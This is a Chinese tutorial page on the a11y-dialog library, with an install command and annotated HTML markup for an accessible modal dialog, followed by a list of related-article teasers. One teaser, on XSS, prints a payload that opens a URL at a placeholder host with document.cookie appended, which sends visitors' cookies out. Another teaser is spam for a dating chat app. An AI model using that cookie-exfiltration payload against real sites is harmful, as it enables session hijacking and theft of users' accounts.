a11y-dialog入门教程_一个非常轻便和灵活的可访问模态对话框

a11y-dialog入门教程

官方网址:#

a11y-dialog入门教程_一个非常轻便和灵活的可访问模态对话框

GitHub:https://github.com/edenspiekermann/a11y-dialog

简介描述:一个非常轻便和灵活的可访问模态对话框

A11y Dialog一个非常轻便和灵活的可访问模态对话框。它没有依赖关系,一个JavaScript API,DOM API和事件处理。 

特点

无依赖项
利用本机<dialog>元素
overlay叠加点击和关闭对话框ESC
切换aria-*属性
捕捉和恢复焦点
触发事件
DOM和JS API快速而微小 

安装

npm install a11y-dialog --save

使用

<!--
  Main container related notes:
  - It can have a different id than `main`, however you will have to pass it as a second argument to the A11yDialog instance. See further down.
-->
<div id="main">
  <!--
    Here lives the main content of the page.
  -->
</div>

<!--
  Dialog container related notes:
  - It is not the actual dialog window, just the container with which the script interacts.
  - It can have a different id than `my-accessible-dialog`, but it needs an `id`
  anyway.
-->
<div id="my-accessible-dialog">

  <!--
    Overlay related notes:
    - It has to have the `tabindex="-1"` attribute.
    - It doesn’t have to have the `data-a11y-dialog-hide` attribute, however this is recommended. It hides the dialog when clicking outside of it.
  -->
  <div tabindex="-1" data-a11y-dialog-hide></div>

  <!--
    Dialog window content related notes:
    - It is the actual visual dialog element.
    - It may have the `alertdialog` role to make it behave like a “modal”. See the “Usage as a modal” section of the docs.
    - It doesn’t have to be a `<dialog>` element, it can be a `<div>` element with the `dialog` or `alertdialog` role (e.g. `<div role="dialog">`).
    - It doesn’t have to have the `aria-labelledby` attribute however this is recommended. It should match the `id` of the dialog title.
  -->
  <dialog aria-labelledby="dialog-title">
    <!--
      Closing button related notes:
      - It does have to have the `type="button"` attribute.
      - It does have to have the `data-a11y-dialog-hide` attribute.
      - It does have to have an aria-label attribute if you use an icon as content.
    -->
    <button type="button" data-a11y-dialog-hide aria-label="Close this dialog window">
      ×
    </button>

    <!--
      Dialog title related notes:
      - It should have a different content than `Dialog Title`.
      - It can have a different id than `dialog-title`.
    -->
    <h1 id="dialog-title">Dialog Title</h1>

    <!--
      Here lives the main content of the dialog.
    -->
  </dialog>
</div>
海计划公众号
(0)
上一篇 2020/03/11 07:01
下一篇 2020/03/11 07:01

您可能感兴趣的内容

  • nodejs怎么和数据库连接?小白入门_数据库入门指南

    通常在NodeJS开发中我们经常涉及到操作数据库,尤其是 MySQL ,作为应用最为广泛的开源数据库则成为我们的首选,下面本篇文章就来给大家介绍下如何通过NodeJS来操作 MySQL 数据库,希望对大家有所帮助。nodejs连接MySQL数据库的步骤:安装 node-mysql:$ npm install mysql我们需要让NodeJS支持MySQL,则

    2020/03/20
  • 前端业务代码配置化攻略教程_代码使用说明

    如何写好业务代码? 在前端工作中有很多业务性代码,如果书写不规范,那么对后期的维护将是非常致命的。判断配置化业务场景后端数据库中经常会一个字段具备几个不同的状态,比如:status: 2
    // 各个字段对应的含义
    0: 出生
    1: 儿童
    2: 少年
    3: 中年
    4: 老年这样不同的数字代表的含义,需要在前端展示。需要根据不同的状态,前端去做不同的处理方法一(

    2020/03/30
  • web浏览器基础知识【web前端】入门指南_web入门知识

    Web浏览器的主要功能是展示网页资源,即请求服务器并将结果展示在窗口中。地址栏输入URL到页面显示经历的过程1、操作系统访问DNS服务器,把域名转化为IP2、浏览器发起http请求3、找到指定的资源,可能访问数据库,构建并返回http响应消息4、浏览器接收并解析响应消息5、浏览器缓存接收到的响应消息,解析并渲染响应内容浏览器的主要组件1. 用户界面——包括地

    2020/04/05
  • xss 加载远程第三方JS基础知识入门_xss小白指南

    script没有调用远程平台,用web接收cookie window.open(‘http://xxx.xxx/cookie.asp?msg=’+document.cookie)简单的script链接远程第三方js,省略协议,浏览器自动加载当前页面的协议</script

    2020/03/30
  • 寂寞私聊软件使用教程 寂寞男女交友平台_聊天入门基础知识

    寂寞男女交友软件是一款专门为单身士们提供的约会聊天交友工具,你可以在这里找到属于自己的有缘人,约会小萝莉邂逅心目中的女神,告别寂寞摆脱单身!聊天的环境绝对的安全,私密,遇见喜欢的人还可以送礼物哦!在这里你可以想跟谁约会就跟谁约会。最快最简单的约爱神器,便捷的搭讪方式,最爽最私密的聊天方式,让寂寞男女零距离沟通!社交软件上的小姐姐们,点击下载有时候,你害怕一个

    2020/03/26
  • ajax、axios、fetch之间的详细区别以及优缺点入门基础_请求菜鸟教程

    将jQuery的ajax、axios和fetch做个简单的比较,所谓仁者见仁智者见智,最终使用哪个还是自行斟酌1.jQuery ajax$.ajax({type: ‘POST’,url: url,data: data,dataType: dataType,success: function () {},error: function () {}});优缺点:

    2020/03/23
  • Video Renderer:高性能移动 Web 端视频编辑器菜鸟攻略_视频入门攻略

    Video Renderer 是一款针对移动 Web 应用开发的高性能视频编辑器。在 2019 伦敦全栈工程师大会( Fullstack London 2019 conference )上, Threads Styling 公司的软件开发工程师Forbes Lindesay 分享了 Video Renderer 的开发经验。Canvas API 支持在浏览器

    2020/03/26
  • 关于前端数据&逻辑的思考菜鸟教程下载_前端小白攻略

    最近重构了一个项目,一个基于redux模型的react-native项目,目标是在混乱的代码中梳理出一个清晰的结构来,为了实现这个目标,首先需要对项目的结构做分层处理,将各个逻辑分离出来,这里我是基于典型的MVC模型,那么为了将现有代码重构为理想的模型,我需要做以下几步:拆分组件
    逻辑处理
    抽象、聚合数据组件化
    这是一个老生常谈的问题了,从16年起前端除了构

    2020/04/05
  • reframe.js教程视频_将非响应式的元素变成响应式元素的 Js插件

    reframe.js教程视频 官方网址:https://dollarshaveclub.github.io/reframe.js/ GitHub:https://github.co…

    2020/03/06
  • js数组的迭代菜鸟教程下载_Array小白教程

    forEachforEach() 方法对数组的每个元素执行一次提供的函数。var array1 = [‘a’, ‘b’, ‘c’];array1.forEach(function(element) {console.log(element);
    });// expected output: “a”
    // expected output: “b”
    // expe

    2020/03/31
  • 在JavaScript中交换变量的4种方法使用攻略_变量小白攻略

    在JavaScript中交换变量的4种方法使用攻略 许多算法需要交换2个变量。在编码面试中,可能会问您“如何在没有临时变量的情况下交换2个变量?”。我很高兴知道执行变量交换的多种方…

    2020/03/19
  • 如何理解vue中的v-model?小白入门_双向绑定菜鸟知识

    说到v-model,就想到了双向数据绑定,而且往往最常见的是在表单元素,